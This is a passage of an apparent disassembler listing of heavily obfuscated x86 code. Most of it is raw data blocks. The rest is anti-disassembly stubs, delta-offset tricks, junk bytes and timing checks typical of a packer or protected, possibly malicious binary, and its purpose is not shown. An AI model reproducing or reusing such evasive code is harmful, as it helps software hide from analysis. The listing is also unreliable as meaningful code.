3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 51FEEBC3h, 0E9FAA8AFh, 0FFFFF722h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 92C35545h, 0C18B32EAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0ABC35242h, 81A4B251h dd 0A5CBCBD7h, 4EB38h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8E27C352h dd 19DDB589h, 2EBE07E9h, 8D052377h, 0E9086185h, 8E0F9007h dd 19h, 14E9h, 5A203C00h, 0C7E6A2Fh, 0AC5C97A4h, 860064E0h dd 0CC3AD1Eh, 5E950FBh, 23000000h, 0EC6EB4E7h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0E769FF5Fh, 52360F2Ah, 0BE66FC69h, 8B662D68h, 68A0FF7h dd 89000000h, 0E9266595h, 6A006A07h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 519FC353h dd 0F674BF66h, 2DB5035Eh, 6A07E907h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 2BB7659Eh dd 5DD78163h, 8D201651h, 0ED143B85h, 0A9BD8B07h, 8307E911h dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 3BACBC3h, 884A9A65h, 29ED8589h, 59BE07E9h dd 0BE37E586h, 38CF7895h, 0CE990h, 79BF0000h, 62FC872Eh dd 0DF1CC020h, 50505CD8h, 66310F52h, 585AF38Bh, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 5DABC372h, 4538CC6Fh, 8E0F2954h, 6, 0C99D89h, 0D68107E9h dd 0A0BFECDh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0BB74DAC3h, 0C3A37636h, 7498D89h dd 6A07E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 87C35040h, 73CAE9B6h, 0F18BA5E0h, 0FB995FFh, 6A07E9h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 9D8DA6C3h, 7ECD72Ch, 6AD3FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0E0B901C3h, 0DD07536Bh dd 85952924h, 0E807E90Bh, 0Ah, 2C96E4B4h, 0D2EB9BB3h, 820FA4BAh dd 0 ; --------------------------------------------------------------------------- pop esi inc dword ptr [ebp+7E90F9Dh] mov [ebp+7E91CC1h], edx jmp loc_5C596E ; --------------------------------------------------------------------------- loc_5C51FA: ; CODE XREF: sdfs____:005C595Fj call $+5 pop ebp sub ebp, 7ED1445h push 0 push ecx call sub_5C5211 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5211 proc near ; CODE XREF: sdfs____:005C5209p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5C5211 endp ; --------------------------------------------------------------------------- db 36h, 43h, 9Eh dd 0BD812016h, 7E92AD1h, 7D0h, 1F7860Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 867CCCC3h, 0BDBD8952h, 8B07E92Eh, 0E91B65B5h, 5D9D8B07h dd 6A07E91Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 5C4CC351h, 0B311F533h, 1845BD8Bh dd 0E38107E9h, 100h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 9FC35747h, 5C23F73Eh, 4F2AA7B8h, 0F98D89CEh dd 8B07E917h, 0E91E4DBDh, 0FDB0B07h, 0FB85h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 29768C7Eh, 83FE8B40h, 0ED11F9BDh, 840F0007h, 75h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CFC35646h, 309D2AADh dd 0E87251EBh, 0Dh, 0E6E93AA7h, 0C566DA58h, 41C9764h, 0CE821h dd 5A360000h, 0E97CE5h, 7E228B95h, 9D09FF74h, 7E924E1h dd 85E95E5Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 58FFC355h, 0DD31684Dh dd 0F985C7BEh, 107ED11h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0F03FC350h dd 0A1895216h, 0E9AD2567h, 30h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0E7C35040h, 675A107h, 0BB4F5D4Bh dd 11F985C7h, 7EDh, 0F78B0000h, 1E5D9D8Dh, 6A07E9h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 9396F5C3h, 65B10139h, 81F08B66h, 0FFFEFF23h, 52006AFFh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0B5297D3Fh, 7E90185h, 0A9BF66FCh, 0DB8C6671h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B0C35040h, 896B1BA9h dd 0E92FC98Dh, 3DB58907h, 0F607E90Fh, 840F04C3h, 59h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5DC35040h, 624A14B9h dd 915A3A2Eh, 85B58BD4h, 0FF07E913h, 0E9005995h, 5090F507h dd 6A90F28Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 7B12C355h, 314C089Fh, 2DCE999h dd 840F0000h, 3, 0B0F2BF0Fh, 8970E600h, 0E908F595h, 8971E407h dd 0E92FF1B5h, 0EE907h, 0E7FE0000h, 2C3A90A9h, 0C39D0F57h dd 298AC43Ch, 0BAD8B60Fh, 6, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0C4C35747h, 8BF5D5C3h, 0E91DC5B5h dd 6AC38B07h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 7C7C357h, 0C9BAA9C1h, 4E8C131h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FAC35343h dd 0B70FD2FEh, 0E2F766F2h, 6660D82Bh, 0F90FC0B8h, 7E95061h dd 23000000h, 385CA369h, 1C8908F5h, 14E924h, 0CA040000h dd 0D3DA3F80h, 35CD9C95h, 625C6D1h, 8559637Bh, 0BF662804h dd 0B5FF32BCh, 7E92AD1h, 5820Fh, 81660000h, 0BF1D38CFh dd 164BD268h, 0C3195FFh, 816607E9h, 0B0D5DCDEh, 9D8B6000h dd 7E91A79h, 16258501h, 0E66107E9h, 6DB52970h, 0E407E90Bh dd 6E971h, 9FD60000h, 0A24F4E3Dh, 830F613Ch, 1B2h, 269B533h dd 0B60F07E9h, 9B501D8h, 0F07E935h, 84h, 6BA00h, 11E80000h dd 37000000h, 0A472BBBh, 56677CBBh, 5A5751F6h, 225A35CCh dd 68E0Fh, 0CE810000h, 52689FB3h, 66C38B5Eh, 0A005C781h dd 104E8C1h, 0E93461BDh, 9E807h, 0D8F30000h, 1EC58010h dd 0F81F8FD2h, 0E2F7665Fh, 2BF2B70Fh, 52006AD8h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 2B58BDCFh, 27880FD8h, 0F000001h, 7B9FBBFh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0A783C350h, 3CCCB3CFh, 0BD2BA63Fh, 7E92B51h dd 0F53BC781h, 0C1835F54h, 51BD3300h, 3B07E92Fh, 0DF860FD9h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 3540C351h, 331F6F6h, 8C66932Ah dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 52E92E43h, 0D1D78072h, 4C1F670h, 6B840Fh dd 0BD030000h, 7E916ADh, 5995FFh, 9D8907E9h, 7E9350Dh dd 96BF665Bh, 60C32BE4h, 8818589h, 0B58B07E9h, 7E92B01h dd 3745BF61h, 343D077Ah, 0F000008h, 3486h, 0F8515100h dd 4BE95E5Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0D00C355h, 57922707h dd 32B72665h, 0D7EF8166h, 6AC08B22h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BA03C352h dd 0C38BB98Bh, 820FD88Bh, 6, 3105BD8Bh, 85C707E9h, 7E911B9h dd 77ED4BFBh, 1AAD9509h, 0C08B07E9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 8DC35545h, 9BC86A89h, 68E000AEh dd 288F0F0Ah, 0E8000000h, 12h, 0D56A54F0h, 54A05456h, 1D6F941Ah dd 5F24E592h, 0BE9A582h, 1A000000h, 0A6BCC43Eh, 42630E6Eh dd 815EB21Ah, 0E92AD1BDh, 7D007h, 9850F00h, 0FF000000h dd 0E92AD185h, 0F88B6607h, 2AD1B5FFh, 816607E9h, 0FF3A50C6h dd 0E90C3195h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 9030F785h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 45C35343h, 300D4BD6h dd 0BE82BFBh, 0B2000000h, 409D3A43h, 517F2E21h, 0FE8313Eh dd 0FF000000h, 6547C9Ah, 37877FB4h, 2E4C2F0Ch, 6E8687Ch dd 94000000h, 0CF6E292Ch, 870F5E70h, 0 ; --------------------------------------------------------------------------- pop edi mov [ebp+7E92169h], ebx pop edi push edi push ecx mov [ebp+7E90AF1h], esi add di, 5DF7h pop edi pop esi sub edi, [ebp+7E92A95h] push ebx mov [ebp+7E91391h], eax jmp loc_5C58F0 ; --------------------------------------------------------------------------- db 80h, 13h, 2Dh dd 377FA474h, 0F77D1F4h, 0A4CB30BDh, 0F16D6FA4h ; --------------------------------------------------------------------------- loc_5C58F0: ; CODE XREF: sdfs____:005C58D8j pop esi mov [ebp+7E929E1h], ebx cmc push eax pusha mov [ebp+7E93195h], edx jmp loc_5C5914 ; --------------------------------------------------------------------------- align 2 dw 0F0F5h db 0CCh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 25A0h dd 0F061C330h, 34E69D18h ; --------------------------------------------------------------------------- loc_5C5914: ; CODE XREF: sdfs____:005C5900j mov [ebp+7E926A1h], edx jmp loc_5C592F ; --------------------------------------------------------------------------- db 4Ah dd 7AF8285Fh, 0DD9E18DBh, 0BCF94A75h db 85h, 89h, 0D2h ; --------------------------------------------------------------------------- loc_5C592F: ; CODE XREF: sdfs____:005C591Aj popa mov si, cx pop edi push 0 push eax call sub_5C593F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C593F proc near ; CODE XREF: sdfs____:005C5937p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5C593F endp ; --------------------------------------------------------------------------- db 64h les esp, cs:[esi-41h] retf 66D0h ; --------------------------------------------------------------------------- db 81h ; --------------------------------------------------------------------------- mov dword ptr [ebp+0Bh], 42CDBE66h jmp loc_5C51FA ; --------------------------------------------------------------------------- or si, 9FFEh adc di, 0CBBEh loc_5C596E: ; CODE XREF: sdfs____:005C51F5j mov eax, ecx push 0 push eax call sub_5C597B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C597B proc near ; CODE XREF: sdfs____:005C5973p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5C597B endp ; --------------------------------------------------------------------------- db 6Fh ; --------------------------------------------------------------------------- imul byte ptr [eax-74D0BF55h] sti mov si, 0CC09h push ecx and edi, [ebp+7E92A85h] pop edi jmp short loc_5C59A5 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_5C59A5: ; CODE XREF: sdfs____:005C599Fj push 0 push ebx call sub_5C59B0 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C59B0 proc near ; CODE XREF: sdfs____:005C59A8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5C59B0 endp ; --------------------------------------------------------------------------- dd 0EBC5E79Ah, 918529D4h, 3107E902h, 0E929F595h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F08B66D8h, 861858Dh, 0C9BE07E9h, 506CFDFAh, 11E853h dd 0FBEC0000h, 0C4AF7D97h, 0E780E25Fh, 3894BDCBh, 5EC86CFDh dd 2404895Fh, 3055B50Bh, 666007E9h, 0BF92E881h, 2F31BD8Bh dd 6A6107E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 8A12C9BDh, 75FF9BD7h, 0F006A74h dd 382h, 0FE8B6600h, 1DC3858Dh, 6A07EDh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 722809C3h dd 0BA5CC5CEh, 0F78B660Eh, 6A05C083h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7B4FC355h dd 6800Fh, 0BD310000h, 7E92691h, 0F98B6650h, 0BE240489h dd 4578AF3Eh, 8960006Ah, 0E90939B5h, 998D3307h, 6107E913h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0E6541CC3h, 0ADE1549Dh, 0B995FF1Ch, 6A07E90Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 5E9FC356h, 0BD893523h, 7E91821h, 0D72C9D8Dh dd 316007ECh, 0E9245195h, 0CF8B6607h, 6AD3FF61h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0AC63C353h, 0FFF5A719h, 0E90F9D85h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 893AAC2Eh, 0E92E5D95h, 8A1E907h, 0E80000h, 5D000000h dd 1DCDED81h, 6A07EDh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 813A31C3h, 0E92AD1BDh, 7D007h, 8E860F00h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 64CC353h, 0BFF1807Ch, 10E81B53h dd 0B8000000h, 103A9CACh, 35166DB2h, 3AFE92ECh, 0F2E4F8Ah dd 389h, 0F08B6600h, 0E19D8B5Fh, 8907E92Fh, 0E9345185h dd 81B58B07h, 8107E92Ch, 100E3h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0DBBD9022h dd 0CCD36315h, 8B66B35Ch, 0FDB0BF9h, 0A485h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0B70FCDBCh, 0E7BD83F0h, 7ED1Bh, 19840Fh, 8D010000h dd 7E91C21h, 172DB58Bh, 7CE907E9h, 52000000h, 13C99589h dd 0C75F07E9h, 0ED1BE785h, 107h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 946DF881h dd 0E68166A8h, 40E98F22h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 610DC357h dd 7A801F1Ah, 8B7F9D93h, 0E91825B5h, 0E785C707h, 7ED1Bh dd 29000000h, 0E90F49BDh, 0ADBD8B07h, 8D07E92Ch, 0E92FE19Dh dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0BBCCC0F0h, 820FB12Eh, 0Bh, 5860Fh, 81660000h dd 818FC4D7h, 0FFFEFF23h, 59589FFh, 8907E900h, 0E92595B5h dd 0DB8C6607h, 1C65B58Bh, 0C3F607E9h, 4B840F04h, 8B000000h dd 5995FFF3h, 0F07E900h, 685h, 0FD958900h, 5007E902h, 0AE8h dd 54BD0B00h, 3B2DF8C1h, 662E4A38h, 895FF88Bh, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0E281F6C3h, 0E1E97C02h, 8B000003h, 0E92EBDBDh, 0F00B007h dd 8960FABFh, 0E91BB1B5h, 0AE907h, 3ECC0000h, 15B93C86h dd 2A986529h, 0F70E661h, 18Dh, 71E4F800h, 2CA5BD89h, 0B60F07E9h dd 49B509D8h, 0BA07E91Dh, 6, 6AC38Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 771B95C3h dd 0D9BFB729h, 5060968Bh, 159D9D89h, 815907E9h, 0DDFCEBDAh dd 0F60611Eh, 0B70FFFB7h, 0E8C161F9h, 0FE8B6604h, 5D9589h dd 0F76607E9h, 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0F6CF18Fh, 589h, 0B70F5100h dd 0BD235FF1h, 7E91309h, 0BD8BD82Bh, 7E91941h, 50525050h dd 0AE952h, 0DAC20000h, 7F571CF8h, 5074B00h, 5250310Fh dd 585A310Fh, 310F585Ah, 14E853h, 5A850000h, 0D0A8C552h dd 5A4F764Ah, 25925D14h, 2FBD3C6Ah, 5F5E26D7h, 1C89585Ah dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 290673D0h, 0EA0FAE70h, 0B5FF17ADh, 7E92AD1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3DC35747h dd 0A7DE880h, 0A51D68D9h, 0C1BD331Dh, 0F07E91Eh, 95FFF0B7h dd 7E90C31h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 39C35545h, 0FEC251DBh, 0F7BF0FEAh, 6A00B0h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 5AE1ABC3h, 0E642B736h, 53006A70h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 7BF66F6h, 0F71E473h dd 689h, 0D5950900h, 3C07E91Eh, 0FD830F61h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 422FC355h, 33DC20EEh, 0E91739B5h, 0D8B60F07h dd 48B0Fh, 0BE660000h, 6BA32EBh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7C6FC357h dd 0BF0F8ADBh, 0F9C38BFEh, 6A04E8C1h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 2EC7C350h dd 0E6C08A45h, 0C6811331h, 704CF19Eh, 0E8E2F766h, 11h dd 496DF7B8h, 0EE33BF11h, 5E87B0A7h, 7FC3A61Bh, 99BD89DCh dd 5F07E934h, 8D31D82Bh, 7E917D1h, 5E958h, 0E9D0000h, 2BB42610h dd 39880FD8h, 0F000001h, 382h, 0FABF0F00h, 7B9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0BF6198F2h, 991BD89h, 0C18307E9h, 0FE8B6600h, 13BBF66h dd 860FD93Bh, 0F4h, 7E9h, 75329600h, 1B3DDAC9h, 1D98C66h dd 0E901899Dh, 4C1F607h, 0CB840Fh, 0BD8B0000h, 7E91941h dd 5995FFh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0B41BB4C3h, 10E8h, 447A3300h, 9413990Eh dd 0ED61F6A6h, 60D337F4h, 6D9D8932h, 5F07E92Eh, 2890Fh dd 0F38B0000h, 0C32BF85Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0ACC35646h, 890F5FCEh, 0 ; --------------------------------------------------------------------------- jmp loc_5C6142 ; --------------------------------------------------------------------------- db 0A2h, 8, 99h dd 7401305h, 13042660h, 0CAFFEA51h db 89h, 0C9h ; --------------------------------------------------------------------------- loc_5C6142: ; CODE XREF: sdfs____:005C612Cj cmp eax, 834h jbe loc_5C6181 mov [ebp+7E91FA1h], edx jmp loc_5C618C ; --------------------------------------------------------------------------- push 0 push eax call sub_5C6163 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6163 proc near ; CODE XREF: sdfs____:005C615Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5C6163 endp ; --------------------------------------------------------------------------- db 7Eh dd 35D6573Dh, 8B862BACh, 0E9085DB5h ; --------------------------------------------------------------------------- pop es loc_5C6181: ; CODE XREF: sdfs____:005C6147j mov eax, eax jl loc_5C618C movzx esi, ax loc_5C618C: ; CODE XREF: sdfs____:005C6153j ; sdfs____:005C6183j mov eax, ebx mov ebx, eax mov si, dx mov dword ptr [ebp+7E91E5Dh], 1A59C3D9h push 0 push ebx call sub_5C61A8 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C61A8 proc near ; CODE XREF: sdfs____:005C61A0p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5C61A8 endp ; --------------------------------------------------------------------------- dd 0A14BEAE5h, 0BF004711h, 1EEF04F8h, 6AC08Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0B3295BC3h, 6DFBF2E6h, 0FE8h, 0C9C49100h, 491EA6Bh dd 47CFFB84h, 9E1995FEh, 0CC18589h, 815F07E9h, 0E92AD1BDh dd 7D007h, 3A850F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 348AC355h, 0EAF04370h dd 27DE5D28h, 2BC78160h, 0F879E96Ch, 0D185FF61h, 8907E92Ah dd 0E92F618Dh, 0D1B5FF07h, 6A07E92Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 55EBC357h dd 0F4F14DCh, 81h, 0B9BD2900h, 0FF07E913h, 0E90C3195h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0BFFB94F6h, 5BBC477Dh, 17830Fh, 830F0000h dd 11h, 0CE9h, 0B8881200h, 2C4FF843h, 50D47C1Ah, 6A9097h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 6A7F9BC3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 40C5C350h, 891051B9h, 0E91361BDh dd 0CEBE6607h, 6DBD89C3h, 6A07E926h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0BF7BC350h dd 43D1C8C8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 20C35242h, 0B8E8159Eh, 9F975DA3h, 0C8E0Fh, 85890000h dd 7E90289h, 1ED98D09h, 0C78107E9h, 37AEDE39h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DAC35343h, 5DE39123h dd 6A927657h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 974C352h, 60C21471h, 1E619D8Bh dd 0AE807E9h, 0D4000000h, 7826FCABh, 0C0C2CB66h, 0EAFEBBEEh dd 615F1B61h, 0AE9h, 3660F700h, 664B11BDh, 0E9983054h dd 0FFFFF79Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 1CC35747h, 9477204Fh, 4C7DE24Ah, 0C8E0Fh, 8D890000h dd 7E90C91h, 879B52Bh, 0BD8907E9h, 7E91E65h, 8BF78B66h dd 4EBC1h, 66000000h, 1167EE81h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 99C35646h, 0FD9D093Eh, 0E907E906h dd 10h, 4CFBB30Ch, 2DE9B35Ah, 2F872762h, 0AE5DF8D1h, 861858Dh dd 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0A02CBDC3h, 7E045FCh, 4DB50BC0h, 9007E92Ah dd 50F98B66h, 870F5250h, 5, 8E8794BEh, 60310F4Ch, 0FBF1BA66h dd 5A6171B4h, 0B5899058h, 7E90C49h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8F9044C3h dd 6A82C2EDh, 6A56F3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 3FC35747h, 0A6A830Ah, 0BD8B66C0h, 7E92A85h dd 28B2858Dh, 6A07EDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0C6533CC3h, 1FCAEDC7h, 0CE8h, 32005000h dd 1EE0664Fh, 96FA6C87h, 0FEB70FEAh, 5C0835Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 3EC35141h, 3DBFA3A8h dd 906C2ACDh, 0C8FD74BEh, 5250506Eh, 0FF78B66h, 52505331h dd 585A310Fh, 90585A5Eh, 2025B58Bh, 6A07E9h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 7E32E9C3h, 0BABE2B04h, 870F65B8h, 6, 1351BD89h, 95FF07E9h dd 7E90FB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0EBC35141h, 0D47B91CBh, 0B5295081h, 7E90F49h, 0D72C9D8Dh dd 6A07ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 8C0FCCC3h, 0 ; --------------------------------------------------------------------------- call ebx ; _iob pusha mov [ebp+7E92B81h], eax xor edx, 7067CD9h popa pusha sub bl, 84h jns loc_5C6645 jmp loc_5C6645 ; --------------------------------------------------------------------------- db 71h dd 41EEA554h, 505C3B81h, 6370144Fh db 7Ch ; --------------------------------------------------------------------------- loc_5C6645: ; CODE XREF: sdfs____:005C662Cj ; sdfs____:005C6632j popa inc dword ptr [ebp+7E90F9Dh] push 0 push eax call sub_5C6657 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6657 proc near ; CODE XREF: sdfs____:005C664Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5C6657 endp ; --------------------------------------------------------------------------- db 71h dd 892E23E9h, 7DEE9h, 0E800h, 815D0000h, 0ED28BCEDh, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 58E8B570h, 0A04B8B3Ch, 0D1BD81A5h, 0D007E92Ah, 0F000007h dd 15D86h, 0E7816600h, 9D8BE044h, 7E91911h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1EC35747h, 0E3819C9Dh dd 100h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0F5C35545h, 89D85A4Bh, 0E91EADB5h, 0FDB0B07h, 0A585h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 4DAD58DFh, 0C860FEBh, 0F000000h, 68Eh, 89B58B00h dd 8307E92Ch, 0ED266DBDh, 840F0007h, 4Bh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 19h, 6AC35646h, 9430005Eh dd 0FE9600Dh, 2D000000h, 0F14B1A75h, 0AADC6310h, 9DFDDB65h dd 0B5891B39h, 7E910B9h, 619D0961h, 0E907E924h, 2Fh, 0C7FB8B66h dd 0ED266D85h, 107h, 45BD0300h, 0E907E924h, 17h, 2EC5BD8Bh dd 85C707E9h, 7ED266Dh, 0 ; --------------------------------------------------------------------------- sub [ebp+7E90CBDh], ecx cld lea ebx, [ebp+7E91911h] jg loc_5C67DB jmp loc_5C67DB ; --------------------------------------------------------------------------- dd 20688662h db 0D6h, 0B8h, 11h ; --------------------------------------------------------------------------- loc_5C67DB: ; CODE XREF: sdfs____:005C67C9j ; sdfs____:005C67CFj mov edi, [ebp+7E925ADh] and dword ptr [ebx], 0FFFFFEFFh push 0 push ebp call sub_5C67F2 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C67F2 proc near ; CODE XREF: sdfs____:005C67EAp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5C67F2 endp ; --------------------------------------------------------------------------- dw 0C6EDh ; --------------------------------------------------------------------------- dec ecx movsb jb short loc_5C687A mov [ebp+7E912F1h], ecx mov bx, ds push 0 push ebp call sub_5C681C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C681C proc near ; CODE XREF: sdfs____:005C6814p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5C681C endp ; --------------------------------------------------------------------------- dd 0FCD93AAh, 58Ah, 0E6816600h, 0C3F6C05Ah, 27840F04h dd 8B000000h, 5995FFF3h, 3107E900h, 0E908C9BDh, 0BF669007h dd 52506741h, 52505250h, 2 